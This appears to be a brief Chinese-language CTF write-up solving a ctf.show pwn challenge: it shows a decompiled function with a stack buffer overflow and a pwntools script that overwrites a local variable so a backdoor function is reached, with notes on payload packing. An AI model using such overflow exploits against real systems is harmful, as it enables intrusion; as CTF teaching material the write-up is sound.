很简单的一道题,vuln()
函数如下:
int vuln() { int result; // eax char buf[36]; // [rsp+0h] [rbp-30h] BYREF int v2; // [rsp+24h] [rbp-Ch] int v3; // [rsp+28h] [rbp-8h] int v4; // [rsp+2Ch] [rbp-4h] v4 = 1; v3 = 1; v2 = 1; read(0, buf, 0x30uLL); result = v3 + v4 + v2; if ( result == 666 ) result = backdoor(); return result; }
思路:v2覆盖成664即可。但是需要注意两点:
1)p64
是send一个 long int,如果使用p64
会把v3覆盖掉(覆盖为0),io.send(p64(664))
结果为665。
2)需要用send
不能用senline
,因为换行符的ascii为10。一旦使用io.sendline(p32(664))
,结果为675。
from pwn import * elf = ELF('./My_sword_is_ready.ready') local = 0 if local == 1: io = process('./My_sword_is_ready.ready') else: io = remote('pwn.challenge.ctf.show',28101) io.recvuntil("with bit!\n") payload = 'a'*(0x30-0xC)+p32(664) io.send(payload) io.interactive()